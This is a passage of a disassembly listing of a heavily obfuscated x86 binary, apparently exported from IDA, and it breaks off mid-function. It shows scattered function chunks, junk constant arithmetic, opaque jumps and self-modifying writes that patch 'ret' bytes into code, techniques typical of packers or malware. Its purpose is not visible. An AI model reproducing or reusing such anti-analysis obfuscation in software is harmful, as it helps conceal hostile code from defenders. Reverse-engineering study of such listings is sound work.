; FUNCTION CHUNK AT 004469EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447AC6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00447E3C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044888D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449845 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449E5D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C8F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D038 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044E572 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044FAA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00450887 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00450958 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450EBC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00452C3C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004533B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00453DA2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00453DE9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00454159 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004546EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454C9D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00455089 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00455193 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455E12 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00456447 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459E54 SIZE 00000009 BYTES

		xchg	edx, [esp+8+var_8]
		pop	edx
		mov	eax, ds:dword_43EE34
		or	eax, eax
		jnz	loc_43BC72
		jmp	loc_440218
sub_44EAC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44EADB:				; CODE XREF: sub_459385-A021j
		call	sub_43938B
		test	al, al
		jz	loc_451663
		jmp	loc_44BC6E
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_44EAED:				; CODE XREF: sub_448D5E+C35j
		push	eax
		pushf
		push	0DAAA0FE6h
		pop	eax
		sub	eax, 0C6ACF5A4h
		jmp	loc_457108
; END OF FUNCTION CHUNK	FOR sub_448D5E
; ---------------------------------------------------------------------------
		mov	edx, 0B70DD039h
		push	esi
		push	87711659h
		pop	esi
		and	esi, 0B8F701FDh
		add	esi, 7FD2AF8Ah
		xchg	esi, [esp]
		jmp	sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_44EB20:				; CODE XREF: sub_453BE2:loc_43BC31j
		xor	ecx, 96080753h
		jo	loc_449892
		test	esi, eax
		jmp	loc_451018
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_44EB33:				; CODE XREF: sub_44623D:loc_453F00j
		add	edi, 1A3A37CFh
		xchg	edi, [esp+4+var_4]
		jmp	loc_449F1A
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
		push	6A4134D7h
		pop	eax
		rol	eax, 6
		cmp	eax, 0F78D1CBDh
		jmp	loc_44FC9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE92

loc_44EB55:				; CODE XREF: sub_43AE92:loc_456BBEj
		and	edx, 0B40C8A2Ch
		push	offset loc_4565D6
		jmp	sub_4536A5
; END OF FUNCTION CHUNK	FOR sub_43AE92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_44EB65:				; CODE XREF: sub_44A15A-7897j
		rol	eax, 10h
		call	sub_4419B6
; END OF FUNCTION CHUNK	FOR sub_44A15A
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_44EB6D:				; CODE XREF: sub_43AEAA:loc_453254j
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-24h]
		jmp	loc_443877
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		js	loc_43B4D7
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	edx
		push	0CBBF3BD2h
		jmp	loc_444D29
; ---------------------------------------------------------------------------
		cmp	ebx, 8939A5AFh
		jmp	loc_4437D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_44EBA4:				; CODE XREF: sub_459DA3:loc_459DA4j
		js	loc_44A486
		mov	eax, [esp+0]
		push	edx
		call	sub_45A310
		push	80AD93ACh
		pop	eax
		xor	eax, 6FD1ABE4h
		jmp	loc_458253
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_44EBC4:				; CODE XREF: sub_44BAF7+9F45j
		mov	eax, [esp+0]
		push	edx
		push	esi
		push	0CA275851h
		pop	esi
		xor	esi, 859BD3E2h
		add	esi, 0E5FD74AEh
		sub	esi, 0A28DBB17h
		jmp	loc_455BDF
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_44EBE6:				; CODE XREF: sub_44ABE0+2E61j
					; dviuq5id:004522FEj
		add	esi, 0CF20B321h
		mov	[esi], eax
		pop	esi
		call	sub_45000B
		jmp	loc_4597AD
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44EBF9:				; CODE XREF: sub_459385-14E6Fj
		sbb	esi, eax

loc_44EBFB:				; CODE XREF: sub_459385:loc_45809Dj
		call	nullsub_13
		retn
; END OF FUNCTION CHUNK	FOR sub_459385
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_44EC02:				; CODE XREF: sub_451D31+Cj
		jmp	loc_43A5D6
; END OF FUNCTION CHUNK	FOR sub_451D31
; ---------------------------------------------------------------------------

loc_44EC07:				; CODE XREF: dviuq5id:0044E845j
		jmp	loc_459078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D160

loc_44EC0C:				; CODE XREF: sub_43D160+11j
		jmp	loc_43DEC7
; END OF FUNCTION CHUNK	FOR sub_43D160
; ---------------------------------------------------------------------------
		not	ebx
		jmp	sub_458A79
; ---------------------------------------------------------------------------

loc_44EC18:				; CODE XREF: dviuq5id:loc_43D01Ej
					; dviuq5id:0043D02Cj
		rol	esi, 1Bh
		test	esi, 80000000h
		jmp	loc_43F93B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_44EC26:				; CODE XREF: sub_449222:loc_445A05j
		jz	loc_45024B
		jmp	loc_455634
; END OF FUNCTION CHUNK	FOR sub_449222

; =============== S U B	R O U T	I N E =======================================



sub_44EC31	proc near		; DATA XREF: sub_456B24:loc_450EF8o

; FUNCTION CHUNK AT 00440F56 SIZE 00000005 BYTES

		jz	loc_43C23F
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_43A245
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_440F56
sub_44EC31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44EC49:				; CODE XREF: sub_441DDA:loc_43B548j
		add	ecx, 27E9949Dh
		popf
		push	offset sub_4540C6
		jmp	nullsub_331
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		mov	ecx, eax
		jl	loc_43E9BA
		jmp	sub_43B3CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44EC67:				; CODE XREF: sub_445437-5EB6j
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	edi

loc_44EC6C:				; CODE XREF: sub_4396BB+1EAF3j
		mov	edi, edx
		xchg	edi, [esp+0]

loc_44EC71:				; CODE XREF: sub_4427AE:loc_4410B9j
		push	esi
		jmp	loc_44A494
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
		lea	eax, [ebp-8]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		mov	eax, [ebp+8]
		push	eax
		push	ecx
		push	2131A748h
		jmp	loc_4463B2
; ---------------------------------------------------------------------------
		push	ecx
		push	0F55CBC5Eh
		pop	ecx
		xor	ecx, 19C8021Ah
		jmp	loc_43A06E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_44ECA1:				; CODE XREF: sub_445F35-2389j
		jbe	loc_43C4BB
		jge	loc_4453AA
		rol	edi, 1Ch
		pushf

loc_44ECB1:				; CODE XREF: sub_445F35:loc_45961Aj
		mov	eax, [ebp-4]
		jmp	loc_43DE18
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------

loc_44ECB9:				; CODE XREF: dviuq5id:loc_43A717j
		or	esi, 0CC8A89B8h
		sub	esi, 0B32984EEh
		rol	esi, 1Fh
		push	offset sub_43C597
		jmp	locret_43EC26
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44ECD3:				; CODE XREF: dviuq5id:00440E15j
		jmp	loc_444069
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_44ECD8:				; CODE XREF: sub_43D181-275Dj
		jmp	nullsub_292
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE62

loc_44ECDD:				; CODE XREF: sub_44FE62+10j
		lea	eax, sub_449DD6
		mov	[ecx+0B8h], eax

loc_44ECE9:				; CODE XREF: sub_44C50A:loc_44A253j
		call	sub_449DCE

loc_44ECEE:				; CODE XREF: sub_452D9B+536Ej
		jmp	loc_43B77A
; END OF FUNCTION CHUNK	FOR sub_44FE62
; ---------------------------------------------------------------------------

loc_44ECF3:				; CODE XREF: dviuq5id:00447B90j
		jmp	locret_450240
; ---------------------------------------------------------------------------

loc_44ECF8:				; CODE XREF: dviuq5id:loc_43A41Bj
		jmp	loc_4481B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_44ECFD:				; CODE XREF: sub_43E828:loc_44C401j
					; sub_441F76+14B6Dj
		push	offset sub_45A4C9
		jmp	nullsub_249
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------

loc_44ED07:				; CODE XREF: dviuq5id:0044BC96j
		rol	ecx, 5
		and	ecx, 0C3503606h
		rol	ecx, 0Bh
		sub	ecx, 1B84B422h
		push	offset sub_4511C6
		jmp	loc_43F96D
; ---------------------------------------------------------------------------
		and	edi, edx
		jmp	sub_443498
; ---------------------------------------------------------------------------
		jmp	ds:off_41D078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44ED30:				; CODE XREF: sub_43C9A9+12947j
		jmp	loc_44CC39
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD1

loc_44ED35:				; CODE XREF: sub_43CCD1+2360j
		jmp	loc_44BE2F
; END OF FUNCTION CHUNK	FOR sub_43CCD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_44ED3A:				; CODE XREF: sub_44623D+9068j
					; sub_452457+9j ...
		jo	loc_44F2AA
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		jmp	loc_446AB3
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
		sub	esi, 0E214515Ah
		jmp	loc_44E106
; ---------------------------------------------------------------------------

locret_44ED55:				; CODE XREF: dviuq5id:0043C932j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445817

loc_44ED56:				; CODE XREF: sub_445817+2CE7j
		jmp	loc_447B17
; END OF FUNCTION CHUNK	FOR sub_445817
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_44ED5B:				; CODE XREF: sub_44D022-F24Dj
		jno	loc_43D0F0
		cdq

loc_44ED62:				; CODE XREF: dviuq5id:loc_452F85j
		shl	esi, 2
		jmp	loc_453A1E
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------

loc_44ED6A:				; CODE XREF: dviuq5id:0044551Dj
					; dviuq5id:0044E5CEj
		sub	ebx, 0A1CD9035h
		add	ebx, 234DA26h
		mov	[ebx], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44ED7A:				; CODE XREF: sub_4574E7+11j
		jmp	loc_45848C
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_44ED7F:				; CODE XREF: sub_44CA06+Cj
		pop	edx
		lea	eax, loc_43FAC1
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FAC1
; ---------------------------------------------------------------------------

loc_44ED8E:				; CODE XREF: sub_44CA06-CF3Fj
		mov	eax, [esp+0]
		push	edx
		call	sub_43D28E
		push	56573089h
		pop	eax
		jmp	loc_43EA1A
; END OF FUNCTION CHUNK	FOR sub_44CA06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_44EDA2:				; CODE XREF: sub_459194:loc_456CB4j
		jz	loc_44B9EA
		jmp	loc_4450E9
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_44EDAD:				; CODE XREF: sub_44CCEE-EB21j
		shl	edi, 1Ch
		popf
		jmp	loc_452DAA
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_44EDB6:				; CODE XREF: sub_4543C5:loc_4468D6j
					; dviuq5id:loc_450338j
		pop	ebx
		call	sub_446A9C

loc_44EDBC:				; CODE XREF: dviuq5id:0044FBDBj
		jmp	loc_43BAA0
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44EDC1:				; CODE XREF: sub_43FA59:loc_43CB6Fj
		cmp	dword ptr [ebp-4], 1
		jnz	loc_447DC5
		jmp	loc_457069
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_326. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44EDD1:				; CODE XREF: sub_43CB4C+165F1j
		jmp	nullsub_166
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_44EDD6:				; CODE XREF: dviuq5id:0044C492j
		jmp	loc_43F2F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530E7

loc_44EDDB:				; CODE XREF: sub_4530E7-11D10j
		jmp	loc_444B4A
; END OF FUNCTION CHUNK	FOR sub_4530E7
; ---------------------------------------------------------------------------

loc_44EDE0:				; CODE XREF: dviuq5id:00448BDBj
		sbb	ebp, esi
		ror	edx, 0Ah
		jmp	loc_445546
; ---------------------------------------------------------------------------

loc_44EDEA:				; CODE XREF: dviuq5id:00442834j
		jle	loc_44224D
		jnp	loc_4523CC

loc_44EDF6:				; CODE XREF: dviuq5id:loc_442826j
		xor	edx, 0B1398B18h
		add	edx, 7E82E939h
		jmp	loc_43E2F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547F0

loc_44EE07:				; CODE XREF: sub_4547F0:loc_445C5Ej
		push	offset loc_43961B
		jmp	loc_4487D3
; END OF FUNCTION CHUNK	FOR sub_4547F0
; ---------------------------------------------------------------------------
		mov	ds:off_41D080, eax
		lea	eax, sub_458F2A
		mov	byte ptr [eax],	0C3h

loc_44EE20:				; CODE XREF: dviuq5id:loc_43EE89j
		jmp	loc_454BD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_44EE25:				; CODE XREF: sub_458F2Aj
		pop	edx
		mov	eax, [esp+0]
		push	edx
		jmp	loc_456D22
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44EE2F:				; CODE XREF: sub_439C09:loc_442DEFj
		mov	eax, ds:dword_447BD4
		or	eax, eax
		jnz	loc_43EB73
		jmp	loc_4598DD
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_44EE42:				; CODE XREF: sub_44CCEE+Dj
		mov	eax, 0B2h
		call	sub_43CCD1
		call	sub_43C3D8

loc_44EE51:				; CODE XREF: dviuq5id:0043DD47j
		add	esi, edi
		xchg	edx, [ecx]
		xor	edi, ebp
		xor	edx, 0F98150A8h

loc_44EE5D:				; CODE XREF: dviuq5id:loc_43DD3Aj
		sub	ebx, 6283362Bh
		xor	ebx, 170B0BEBh
		jmp	loc_44B14E
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451FE0

loc_44EE6E:				; CODE XREF: sub_451FE0-BBB2j
		jnz	loc_445723

loc_44EE74:				; CODE XREF: sub_451FE0:loc_451358j
		mov	eax, [ebp-4]
		push	offset loc_444AEA
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_451FE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_44EE81:				; CODE XREF: sub_43D24F+1720j
		shl	esi, 12h

loc_44EE84:				; CODE XREF: sub_43D24F:loc_44E0BAj
		call	sub_456F43
		call	sub_43BB5D

loc_44EE8E:				; CODE XREF: sub_4566A9+25j
		jmp	loc_43E90F
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44EE93:				; CODE XREF: sub_439013+17E2Ej
		add	eax, [ebp-4]
		push	ecx

loc_44EE97:				; CODE XREF: dviuq5id:0045483Fj
		push	20E8FD50h
		pop	ecx
		jmp	loc_456E1B
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_44EEA2:				; CODE XREF: sub_44D45B-5BC2j
		rol	edx, 2
		push	0FA8315A2h
; END OF FUNCTION CHUNK	FOR sub_44D45B

; =============== S U B	R O U T	I N E =======================================



sub_44EEAA	proc near		; CODE XREF: sub_45753F:loc_43CEDDj
					; sub_44D45B:loc_44A50Cj

; FUNCTION CHUNK AT 00439FE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C63 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444042 SIZE 00000005 BYTES

		push	ebx
		push	590579E8h
		pop	ebx
		and	ebx, 11380D3Bh
		rol	ebx, 0Ah
		jmp	loc_444042
sub_44EEAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_44EEBF:				; CODE XREF: sub_454117:loc_44A755j
		pop	eax
		xor	eax, 58EB6C53h
		add	eax, 0A9AB45D6h
		push	offset sub_448DB7
		jmp	nullsub_462
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44EED6:				; CODE XREF: sub_44E1C0+7520j
		jg	loc_44773A

loc_44EEDC:				; CODE XREF: sub_44E1C0:loc_442901j
		add	eax, 0F130B28Ah
		add	eax, ebp
		add	eax, 1D264B7Ah
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44673E
		jmp	loc_44ABFF
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_44EEFA:				; CODE XREF: sub_4422EC+A7B8j
		jnp	nullsub_66
		test	edi, 366ABF4Dh
		jmp	loc_455EB0
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------

loc_44EF0B:				; CODE XREF: dviuq5id:00459D60j
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_44EF0C:				; CODE XREF: sub_457A3C:loc_459D4Cj
		call	sub_451180
; END OF FUNCTION CHUNK	FOR sub_457A3C
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44EF11:				; CODE XREF: sub_43CC42+B31Cj
		jmp	sub_4508CC
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
		add	ebp, ecx
		jmp	sub_442BAC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_325. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44EF1E:				; CODE XREF: sub_4525D0-FE06j
		jmp	loc_445CA7
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_44EF23	proc near		; CODE XREF: dviuq5id:00445455j
					; sub_454117+2A8Ap
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_453642
		mov	ds:off_41D07C, eax
		lea	eax, sub_441B17
		jmp	loc_454BBF
sub_44EF23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		popf
		jmp	sub_44C53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_44EF43:				; CODE XREF: sub_4551F9-3E3Aj
		jnz	loc_44DAF3

loc_44EF49:				; CODE XREF: sub_448FC7+597Fj
		jmp	loc_4510AB
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
		mov	esi, 0D52C00F6h
		jmp	loc_44DAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44EF58:				; CODE XREF: sub_454267+7Ej
		jns	loc_458095
; END OF FUNCTION CHUNK	FOR sub_454267

; =============== S U B	R O U T	I N E =======================================



sub_44EF5E	proc near		; CODE XREF: sub_44ABE0:loc_452E9Fp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]

loc_44EF61:				; CODE XREF: dviuq5id:loc_44F599j
		pop	edx
		add	ebx, 0BDDDCBE7h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_43C4B5
sub_44EF5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458FA7

loc_44EF70:				; CODE XREF: sub_458FA7+Bj
		add	edi, 0A569C3D1h
		sub	edi, ds:4000F8h
		add	edi, 0A8D4B82Ch
		xchg	edi, [esp+4+var_4]
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_458FA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44EF8A:				; CODE XREF: sub_440898+13C07j
		mov	ebp, edi
		jmp	loc_44166E
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44EF91:				; CODE XREF: sub_441DDA+8CBBj
		push	edi
		jl	loc_454B3D
		pop	ecx
		jmp	loc_455FEC
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_44EF9E:				; CODE XREF: sub_43DCB4+C383j
		adc	ebp, 4FB03525h

loc_44EFA4:				; CODE XREF: sub_43DCB4:loc_43A2CEj
		mov	eax, [esp+4+var_4]
		push	edx
		mov	edx, eax
		jmp	loc_43A475
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450A73

loc_44EFAF:				; CODE XREF: sub_450A73-F79Cj
					; sub_450A73:loc_44E2EFj ...
		js	loc_4412E2
		push	eax
		push	0
		call	sub_44E2FA
		jmp	loc_451F19
; END OF FUNCTION CHUNK	FOR sub_450A73

; =============== S U B	R O U T	I N E =======================================



sub_44EFC2	proc near		; DATA XREF: dviuq5id:0044D3CAo

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00447938 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004520EF SIZE 00000027 BYTES

		xchg	ecx, [esp+0]
		lea	eax, dword_446B7C
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_4520EF
sub_44EFC2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44EFD4:				; CODE XREF: sub_43C4B5:loc_44B8FEj
		mov	edx, ebx
		pop	ebx
		and	edx, 7BC49E1Dh
		test	edx, 40000000h
		jmp	loc_43C44A
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		xor	ebx, ecx
		jmp	sub_43EE53
; ---------------------------------------------------------------------------

loc_44EFEF:				; CODE XREF: dviuq5id:00448185j
		or	ebp, 9BFDCE20h
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44EFF5:				; CODE XREF: sub_44646F+1D05j
		add	eax, 0A3DC39DBh
		add	eax, ebp
		add	eax, 5873451Dh
		mov	eax, [eax]
		popf
		jmp	loc_43AC96
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44F00B:				; CODE XREF: dviuq5id:0043C61Ej
					; sub_43CB4C+1E44j
		jnz	loc_452F06
		push	ebx
		push	1B66DF48h
		xchg	edi, [esp+4+var_4]
		mov	ebx, edi
		pop	edi
		add	ebx, 53F8E9CBh
		jmp	loc_45324F
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		push	edi
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44F029:				; CODE XREF: sub_454267:loc_45A49Dj
		push	offset sub_44B881
		jmp	loc_448907
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44F033:				; CODE XREF: sub_451B18+3C28j
		mov	eax, [ebp-20h]
		call	sub_44E206
		pop	ecx
		call	sub_455DC7

loc_44F041:				; CODE XREF: dviuq5id:004498C4j
		jmp	loc_43EF74
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------

loc_44F046:				; CODE XREF: dviuq5id:00440D08j
		jmp	loc_441269
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44F04B:				; CODE XREF: sub_459804-55A2j
		jbe	loc_453F63
		xchg	edx, ebx

loc_44F053:				; CODE XREF: sub_459804:loc_446B08j
		movzx	eax, word ptr [ebp-6]
		jmp	loc_44E4BF
; ---------------------------------------------------------------------------

loc_44F05C:				; CODE XREF: sub_459804:loc_459813j
		cmp	dword ptr [ebp-20h], 0
		jge	loc_4581D3
		jmp	loc_43E97A
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458527

loc_44F06B:				; CODE XREF: sub_458527-1543Dj
		push	offset sub_4532B8
		jmp	loc_4447AA
; END OF FUNCTION CHUNK	FOR sub_458527
; ---------------------------------------------------------------------------

loc_44F075:				; CODE XREF: dviuq5id:loc_445997j
					; dviuq5id:00446B38j
		push	0
		push	0
		push	ebx
		push	0F3ADF47Bh
		jmp	loc_44D29E
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_444D86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_44F08A:				; CODE XREF: sub_43E4A4:loc_43AFF3j
		xchg	eax, [edx]
		xor	edx, ebp
		jmp	loc_45A376
; END OF FUNCTION CHUNK	FOR sub_43E4A4

; =============== S U B	R O U T	I N E =======================================



sub_44F093	proc near		; CODE XREF: dviuq5id:0045206Dp
					; dviuq5id:004562E9j
		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 30F92BF5h
		call	sub_453642
		mov	ds:off_41D098, eax
		lea	eax, sub_456276
		mov	byte ptr [eax],	0C3h
		jmp	sub_456276
sub_44F093	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44F0B6	proc near		; CODE XREF: sub_41AFA7+627p
					; sub_44F0B6:loc_44FB51j
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044FB51 SIZE 00000006 BYTES

		call	sub_44FB5C
		jmp	loc_44FB51
sub_44F0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_44F0C0	proc near		; CODE XREF: sub_441C2Fj
					; DATA XREF: sub_43CB4C+50D9o
		pop	ebp
		retn
sub_44F0C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F0C2	proc near		; CODE XREF: sub_444440:loc_446278j
					; dviuq5id:00447A37p ...

var_4		= dword	ptr -4

